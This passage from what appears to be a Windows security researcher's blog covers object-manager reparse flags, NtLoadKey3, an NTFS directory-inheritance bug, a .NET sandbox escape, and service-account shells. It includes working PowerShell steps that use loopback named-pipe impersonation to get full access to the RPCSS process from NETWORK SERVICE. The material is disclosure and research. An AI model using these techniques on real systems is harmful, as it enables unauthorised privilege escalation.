  IStorage* pstg, int dwCount, MULTI_QI pResults[]);

It seems that the answer is yes. Of course it's possible that you still can't mix the two things up. That's why I wrote a quick and dirty example in C#, which is available here. Seems to work fine. Of course I've not tested it out with the actual vulnerability to see it works in that scenario. That's something for others to do.

Saturday, 23 May 2020

OBJ_DONT_REPARSE is (mostly) Useless.

Continuing a theme from the last blog post, I think it's great that the two additional OBJECT_ATTRIBUTE flags were documented as a way of mitigating symbolic link attacks. While OBJ_IGNORE_IMPERSONATED_DEVICEMAP is pretty useful, the other flag, OBJ_DONT_REPARSE isn't, at least not for protecting file system access.

To quote the documentation, OBJ_DONT_REPARSE does the following:

"If this flag is set, no reparse points will be followed when parsing the name of the associated object. If any reparses are encountered the attempt will fail and return an STATUS_REPARSE_POINT_ENCOUNTERED result. This can be used to determine if there are any reparse points in the object's path, in security scenarios."

This seems pretty categorical, if any reparse point is encountered then the name parsing stops and STATUS_REPARSE_POINT_ENCOUNTERED is returned. Let's try it out in PS and open the notepad executable file.

PS> Get-NtFile \??\c:\windows\notepad.exe -ObjectAttributes DontReparse
Get-NtFile : (0xC000050B) - The object manager encountered a reparse point while retrieving an object.

Well that's not what you might expect, there should be no reparse points to access notepad, so what went wrong? We'll you're assuming that the documentation meant NTFS reparse points, when it really meant all reparse points. The C: drive symbolic link is still a reparse point, just for the Object Manager. Therefore just accessing a drive path using this Object Attribute flag fails. Still this does means that it will also work to protect you from Registry Symbolic Links as well as that also uses a Reparse Point.

I'm assuming this flag wasn't introduced for file access at all, but instead for named kernel objects where encountering a Symbolic Link is usually less of a problem. Unlike OBJ_IGNORE_IMPERSONATED_DEVICEMAP I can't pinpoint a specific vulnerability this flag was associated with, so I can't say for certain why it was introduced. Still, it's slightly annoying especially considering there is an IO Manager specific flag, IO_STOP_ON_SYMLINK which does what you'd want to avoid file system symbolic links but that can only be accessed in kernel mode with IoCreateFileEx.

Not that this flag completely protects against Object Manager redirection attacks. It doesn't prevent abuse of shadow directories for example which can be used to redirect path lookups.

PS> $d = Get-NtDirectory \Device
PS> $x = New-NtDirectory \BaseNamedObjects\ABC -ShadowDirectory $d
PS> $f = Get-NtFile \BaseNamedObjects\ABC\HarddiskVolume3\windows\notepad.exe -ObjectAttributes DontReparse
PS> $f.FullPath
\Device\HarddiskVolume3\Windows\notepad.exe

Oh well...

Friday, 22 May 2020

Silent Exploit Mitigations for the 1%

With the accelerated release schedule of Windows 10 it's common for new features to be regularly introduced. This is especially true of features to mitigate some poorly designed APIs or easily misused behavior. The problems with many of these mitigations is they're regularly undocumented or at least not exposed through the common Win32 APIs. This means that while Microsoft can be happy and prevent their own code from being vulnerable they leave third party developers to get fucked.

One example of these silent mitigations are the additional OBJECT_ATTRIBUTE flags OBJ_IGNORE_IMPERSONATED_DEVICEMAP and OBJ_DONT_REPARSE which were finally documented, in part because I said it'd be nice if they did so. Of course, it only took 5 years to document them since they were introduced to fix bugs I reported. I guess that's pretty speedy in Microsoft's world. And of course they only help you if you're using the system call APIs which, let's not forget, are only partially documented.

While digging around in Windows 10 2004 (ugh... really, it's just confusing), and probably reminded by Alex Ionescu at some point, I noticed Microsoft have introduced another mitigation which is only available using an undocumented system call and not via any exposed Win32 API. So I thought, I should document it.

UPDATE (2020-04-23): According to @FireF0X this was backported to all supported OS's. So it's a security fix important enough to backport but not tell anyone about. Fantastic.

The system call in question is NtLoadKey3. According to j00ru's system call table this was introduced in Windows 10 2004, however it's at least in Windows 10 1909 as well. As the name suggests (if you're me at least) this loads a Registry Key Hive to an attachment point. This functionality has been extended over time, originally there was only NtLoadKey, then NtLoadKey2 was introduced in XP I believe to add some flags. Then NtLoadKeyEx was introduced to add things like explicit Trusted Hive support to mitigate cross hive symbolic link attacks (which is all j00ru's and Gynvael fault). And now finally NtLoadKey3. I've no idea why it went to 2 then to Ex then back to 3 maybe it's some new Microsoft counting system. The NtLoadKeyEx is partially exposed through the Win32 APIs RegLoadKey and RegLoadAppKey APIs, although they're only expose a subset of the system call's functionality.

Okay, so what bug class is NtLoadKey3 trying to mitigate? One of the problematic behaviors of loading a full Registry Hive (rather that a Per-User Application Hive) is you need to have SeRestorePrivilege* on the caller's Effective Token. SeRestorePrivilege is only granted to Administrators, so in order to call the API successfully you can't be impersonating a low-privileged user. However, the API can also create files when loading the hive file. This includes the hive file itself as well as the recovery log files.

* Don't pay attention to the documentation for RegLoadKey which claims you also need SeBackupPrivilege. Maybe it was required at some point, but it isn't any more.

When loading a system hive such as HKLM\SOFTWARE this isn't an issue as these hives are stored in an Administrator only location (c:\windows\system32\config if you're curious) but sometimes the hives are loaded from user-accessible locations such as from the user's profile or for Desktop Bridge support. In a user accessible location you can use symbolic link tricks to force the logs file to be written to arbitrary locations, and to make matters worse the Security Descriptor of the primary hive file is copied to the log file so it'll be accessible afterwards. An example of just this bug, in this case in Desktop Bridge, is issue 1492 (and 1554 as they didn't fix it properly (╯°□°)╯︵ ┻━┻).

RegLoadKey3 fixes this by introducing an additional parameter to specify an Access Token which will be impersonated when creating any files. This way the check for SeRestorePrivilege can use the caller's Access Token, but any "dangerous" operation will use the user's Token. Of course they could have probably implemented this by adding a new flag which will check the caller's Primary Token for the privilege like they do for SeImpersonatePrivilege and SeAssignPrimaryTokenPrivilege but what do I know...

Used appropriately this should completely mitigate the poor design of the system call. For example the User Profile service now uses NtLoadKey3 when loading the hives from the user's profile. How do you call it yourself? I couldn't find any documentation obviously, and even in the usual locations such as OLE32's private symbols there doesn't seem to be any structure data, so I made best guess with the following:

Notice that the TrustKey and Event handles from NtLoadKeyEx have also been folded up into a list of handle values. Perhaps someone wasn't sure if they ever needed to extend the system call whether to go for NtLoadKey4 or NtLoadKeyExEx so they avoided the decision by making the system call more flexible. Also the final parameter, which is also present in NtLoadKeyEx is seemingly unused, or I'm just incapable of tracking down when it gets referenced. Process Hacker's header files claim it's for an IO_STATUS_BLOCK pointer, but I've seen no evidence that's the case.

It'd be really awesome if in this new, sharing and caring Microsoft that they, well shared and cared more often, especially for features important to securing third party applications. TBH I think they're more focused on bringing Wayland to WSL2 or shoving a new API set down developers' throats than documenting things like this.

Wednesday, 20 May 2020

Writing Windows File System Drivers is Hard.

A tweet by @jonasLyk reminded me of a bug I found in NTFS a few months back, which I've verified still exists in Windows 10 2004. As far as I can tell it's not directly usable to circumvent security but it feels like a bug which could be used in a chain. NTFS is a good demonstration of how complex writing a FS driver is on Windows, so it's hardly surprising that so many weird edges cases pop up over time.

The issue in this case was related to the default Security Descriptor (SD) assignment when creating a new Directory. If you understand anything about Windows SDs you'll know it's possible to specify the inheritance rules through either the CONTAINER_INHERIT_ACE and/or OBJECT_INHERIT_ACE ACE flags. These flags represent whether the ACE should be inherited from a parent directory if the new entry is either a Directory or a File. Let's look at the code which NTFS uses to assign security to a new file and see if you can spot the bug?

The code uses SeAssignSecurityEx to create the new SD based on the Parent SD and any explicit SD from the caller. For inheritance to work you can't specify an explicit SD, so we can ignore that. Whether SeAssignSecurityEx applies the inheritance rules for a Directory or a File depends on the value of the IsDirectoryObject parameter. This is set to TRUE if the FILE_DIRECTORY_FILE options flag was passed to NtCreateFile. That seems fine, you can't create a Directory if you don't specify the FILE_DIRECTORY_FILE flag, if you don't specify a flag then a File will be created by default.

But wait, that's not true at all. If you specify a name of the form ABC::$INDEX_ALLOCATION then NTFS will create a Directory no matter what flags you specify. Therefore the bug is, if you create a directory using the $INDEX_ALLOCATION trick then the new SD will inherit as if it was a File rather than a Directory. We can verifying this behavior on the command prompt.

C:\> mkdir ABC
C:\> icacls ABC /grant "INTERACTIVE":(CI)(IO)(F)
C:\> icacls ABC /grant "NETWORK":(OI)(IO)(F)

First we create a directory ABC and grant two ACEs, one for the INTERACTIVE group will inherit on a Directory, the other for NETWORK will inherit on a File.

C:\> echo "Hello" > ABC\XYZ::$INDEX_ALLOCATION
Incorrect function.

We then create the sub-directory XYZ using the $INDEX_ALLOCATION trick. We can be sure it worked as CMD prints "Incorrect function" when it tries to write "Hello" to the directory object.

C:\> icacls ABC\XYZ
ABC\XYZ NT AUTHORITY\NETWORK:(I)(F)
        NT AUTHORITY\SYSTEM:(I)(F)
        BUILTIN\Administrators:(I)(F)

Dumping the SD for the XYZ sub-directory we see the ACEs were inherited based on it being a File, rather than a Directory as we can see an ACE for NETWORK rather than for INTERACTIVE. Finally we list ABC to verify it really is a directory.

C:\> dir ABC
 Volume in drive C has no label.
 Volume Serial Number is 9A7B-865C

 Directory of C:\ABC

2020-05-20  19:09    <DIR>          .
2020-05-20  19:09    <DIR>          ..
2020-05-20  19:05    <DIR>          XYZ


Is this useful? Honestly probably not. The only scenario I could imagine it would be is if you can specify a path to a system service which creates a file in a location where inherited File access would grant access and inherited Directory access would not. This would allow you to create a Directory you can control, but it seems a bit of a stretch to be honest. If anyone can think of a good use for this let me or Microsoft know :-)

Still, it's interesting that this is another case where $INDEX_ALLOCATION isn't correctly verified where determining whether an object is a Directory or a File. Another good example was CVE-2018-1036, where you could create a new Directory with only FILE_ADD_FILE permission. Quite why this design decision was made to automatically create a Directory when using the stream type is unclear. I guess we might never know.


Thursday, 7 May 2020

Old .NET Vulnerability #5: Security Transparent Compiled Expressions (CVE-2013-0073)

It's been a long time since I wrote a blog post about my old .NET vulnerabilities. I was playing around with some .NET code and found an issue when serializing delegates inside a CAS sandbox, I got a SerializationException thrown with the following text:

Cannot serialize delegates over unmanaged function pointers, 
dynamic methods or methods outside the delegate creator's assembly.
   
I couldn't remember if this has always been there or if it was new. I reached out on Twitter to my trusted friend on these matters, @blowdart, who quickly fobbed me off to Levi. But the take away is at some point the behavior of Delegate serialization was changed as part of a more general change to add Secure Delegates.

It was then I realized, that it's almost certainly (mostly) my fault that the .NET Framework has this feature and I dug out one of the bugs which caused it to be the way it is. Let's have a quick overview of what the Secure Delegate is trying to prevent and then look at the original bug.

.NET Code Access Security (CAS) as I've mentioned before when discussing my .NET PAC vulnerability allows a .NET "sandbox" to restrict untrusted code to a specific set of permissions. When a permission demand is requested the CLR will walk the calling stack and check the Assembly Grant Set for every Stack Frame. If there is any code on the Stack which doesn't have the required Permission Grants then the Stack Walk stops and a SecurityException is generated which blocks the function from continuing. I've shown this in the following diagram, some untrusted code tries to open a file but is blocked by a Demand for FileIOPermission as the Stack Walk sees the untrusted Code and stops.

View of a stack walk in .NET blocking a FileIOPermission Demand on an Untrusted Caller stack frame.

What has this to do with delegates? A problem occurs if an attacker can find some code which will invoke a delegate under asserted permissions. For example, in the previous diagram there was an Assert at the bottom of the stack, but the Stack Walk fails early when it hits the Untrusted Caller Frame.

However, as long as we have a delegate call, and the function the delegate calls is Trusted then we can put it into the chain and successfully get the privileged operation to happen.

View of a stack walk in .NET allowed due to replacing untrusted call frame with a delegate.

The problem with this technique is finding a trusted function we can wrap in a delegate which you can attach to something such a Windows Forms event handler, which might have the prototype:
void Callback(object obj, EventArgs e)

and would call the File.OpenRead function which has the prototype:

FileStream OpenRead(string path).

That's a pretty tricky thing to find. If you know C# you'll know about Lambda functions, could we use something like?

EventHandler f = (o,e) => File.OpenRead(@"C:\SomePath")

Unfortunately not, the C# compiler takes the lambda, generates an automatic class with that function prototype in your own assembly. Therefore the call to adapt the arguments will go through an Untrusted function and it'll fail the Stack Walk. It looks something like the following in CIL:

Turns out there's another way. See if you can spot the difference here.

Expression lambda = (o,e) => File.OpenRead(@"C:\SomePath")
EventHandle f = lambda.Compile()

We're still using a lambda, surely nothing has changed? We'll let's look at the CIL.

That's just crazy. What's happened? The key is the use of Expression. When the C# compiler sees that type it decides rather than create a delegate in your assembly it'll creation something called an expression tree. That tree is then compiled into the final delegate. The important thing for the vulnerability I reported is this delegate was trusted as it was built using the AssemblyBuilder functionality which takes the Permission Grant Set from the calling Assembly. As the calling Assembly is the Framework code it got full trust. It wasn't trusted to Assert permissions (a Security Transparent function), but it also wouldn't block the Stack Walk either. This allows us to implement any arbitrary Delegate adapter to convert one Delegate call-site into calling any other API as long as you can do that under an Asserted permission set.

View of a stack walk in .NET allowed due to replacing untrusted call frame with a expression generated delegate.

I was able to find a number of places in WinForms which invoked Event Handlers while asserting permissions that I could exploit. The initial fix was to fix those call-sites, but the real fix came later, the aforementioned Secure Delegates.

Silverlight always had Secure delegates, it would capture the current CAS Permission set on the stack when creating them and add a trampoline if needed to the delegate to insert an Untrusted Stack Frame into the call. Seems this was later added to .NET. The reason that Serializing is blocked is because when the Delegate gets serialized this trampoline gets lost and so there's a risk of it being used to exploit something to escape the sandbox. Of course CAS is dead anyway.

The end result looks like the following:

View of a stack walk in .NET blocking a FileIOPermission Demand on an Untrusted Trampoline Stack Frame.

Anyway, these are the kinds of design decisions that were never full scoped from a security perspective. They're not unique to .NET, or Java, or anything else which runs arbitrary code in a "sandboxed" context including things JavaScript engines such as V8 or JSCore.


Saturday, 25 April 2020

Sharing a Logon Session a Little Too Much

The Logon Session on Windows is tied to an single authenticated user with a single Token. However, for service accounts that's not really true. Once you factor in Service Hardening there could be multiple different Tokens all identifying in the same logon session with different service groups etc. This blog post demonstrates a case where this sharing of the logon session with multiple different Tokens breaks Service Hardening isolation, at least for NETWORK SERVICE. Also don't forget S-1-1-0, this is NOT A SECURITY BOUNDARY. Lah lah, I can't hear you!

Let's get straight to it, when LSASS creates a Token for a new Logon session it stores that Token for later retrieval. For the most part this isn't that useful, however there is one case where the session Token is repurposed, network authentication. If you look at the prototype of AcquireCredentialsHandle where you specify the user to use for network authentication you'll notice a pvLogonID parameter. The explanatory note says:

"A pointer to a locally unique identifier (LUID) that identifies the user. This parameter is provided for file-system processes such as network redirectors. This parameter can be NULL."

What does this really mean? We'll if you have TCB privilege when doing network authentication this parameter specifies the Logon Session ID (or Authentication ID if you're coming from the Token's perspective) for the Token to use for the network authentication. Of course normally this isn't that interesting if the network authentication is going to another machine as the Token can't follow ('ish). However what about Local Loopback Authentication? In this case it does matter as it means that the negotiated Token on the server, which is the same machine, will actually be the session's Token, not the caller's Token.

Of course if you have TCB you can almost do whatever you like, why is this useful? The clue is back in the explanatory note, "... such as network redirectors". What's an easily accessible network redirector which supports local loopback authentication? SMB. Is there any primitives which SMB supports which allows you to get the network authentication token? Yes, Named Pipes. Will SMB do the network authentication in kernel mode and thus have effective TCB privilege? You betcha. To the PowerShellz!

Note, this is tested on Windows 10 1909, results might vary. First you'll need a PowerShell process running at NETWORK SERVICE. You can follow the instructions from my previous blog post on how to do that. Now with that shell we're running a vanilla NETWORK SERVICE process, nothing special. We do have SeImpersonatePrivilege though so we could probably run something like Rotten Potato, but we won't. Instead why not target the RPCSS service process, it also runs as NETWORK SERVICE and usually has loads of juicy Token handles we could steal to get to SYSTEM. There's of course a problem doing that, let's try and open the RPCSS service process.

PS> Get-RunningService "rpcss"
Name  Status  ProcessId
----  ------  ---------
rpcss Running 1152

PS> $p = Get-NtProcess -ProcessId 1152
Get-NtProcess : (0xC0000022) - {Access Denied}
A process has requested access to an object, but has not been granted those access rights.

Well, that puts an end to that. But wait, what Token would we get from a loop back authentication over SMB? Let's try it. First create a named pipe and start it listening for a new connection.

PS> $pipe = New-NtNamedPipeFile \\.\pipe\ABC -Win32Path
PS> $job = Start-Job { $pipe.Listen() }

Next open a handle to the pipe via localhost, and then wait for the job to complete.

PS> $file = Get-NtFile \\localhost\pipe\ABC -Win32Path
PS> Wait-Job $job | Out-Null

Finally open the RPCSS process again while impersonating the named pipe.

PS> $p = Use-NtObject($pipe.Impersonate()) { 
>>     Get-NtProcess -ProcessId 1152 
>>  }
PS> $p.GrantedAccess
AllAccess

How on earth does that work? Remember I said that the Token stored by LSASS is the first token created in that Logon Session? Well the first NETWORK SERVICE process is RPCSS, so the Token which gets saved is RPCSS's one. We can prove that by opening the impersonation token and looking at the group list.

PS> $token = Use-NtObject($pipe.Impersonate()) { 
>> Get-NtToken -Impersonation 
>> }
PS> $token.Groups | ? Name -Match Rpcss
Name             Attributes
----             ----------
NT SERVICE\RpcSs EnabledByDefault, Owner

Weird behavior, no? Of course this works for every logon session, though a normal user's session isn't quite so interesting. Also don't forget that if you access the admin shares as NETWORK SERVICE you'll actually be authenticated as the RPCSS service so any files it might have dropped with the Service SID would be accessible. Anyway, I'm sure others can come up with creative abuses of this.

Sunday, 9 February 2020

Getting an Interactive Service Account Shell

Sometimes you want to manually interact with a shell running a service account. Getting a working interactive shell for SYSTEM is pretty easy. As an administrator, pick a process with an appropriate access token running as SYSTEM (say services.exe) and spawn a child process using that as the parent. As long as you specify an interactive desktop, e.g. WinSta0\Default, then the new process will be automatically assigned to the current session and you'll get a visible window.

To make this even easier, NtObjectManager implements the Start-Win32ChildProcess command, which works like the following:

PS> $p = Start-Win32ChildProcess powershell

And you'll now see a console window with a copy of PowerShell. What if you want to instead spawn Local Service or Network Service? You can try the following:

PS> $user = Get-NtSid -KnownSid LocalService
PS> $p = Start-Win32ChildProcess powershell -User $user

The process starts, however you'll find it immediately dies:

PS> $p.ExitNtStatus
STATUS_DLL_INIT_FAILED

The error code, STATUS_DLL_INIT_FAILED, basically means something during initialization failed. Tracking this down is a pain in the backside, especially as the failure happens before a debugger such as WinDBG typically gets control over the process. You can enable the Create Process event filter, but you still have to track down why it fails.

I'll save you the pain, the problem with running an interactive service process is the Local Service/Network Service token doesn't have access to the Desktop/Window Station/BaseNamedObjects etc for the session. It works for SYSTEM as that account is almost always granted full access to everything by virtue of either the SYSTEM or Administrators SID, however the low-privileged service accounts are not.

One way of getting around this would be to find every possible secured resource and add the service account. That's not really very reliable, miss one resource and it might still not work or it might fail at some indeterminate time. Instead we do what the OS does, we need to create the service token with the Logon Session SID which will grant us access to the session's resources.

First create a SYSTEM powershell command on the current desktop using the Start-Win32ChildProcess command. Next get the current session token with:

PS>  $sess = Get-NtToken -Session

We can print out the Logon Session SID now, for interest:

PS> $sess.LogonSid.Sid
Name                                     Sid
----                                     ---
NT AUTHORITY\LogonSessionId_0_41106165   S-1-5-5-0-41106165

Now create a Local Service token (or Network Service, or IUser, or any service account) using:

PS> $token = Get-NtToken -Service LocalService -AdditionalGroups $sess.LogonSid.Sid

You can now create an interactive process on the current desktop using:

PS> New-Win32Process cmd -Token $token -CreationFlags NewConsole

You should find it now works :-)

A command prompt, running whois and showing the use as Local Service.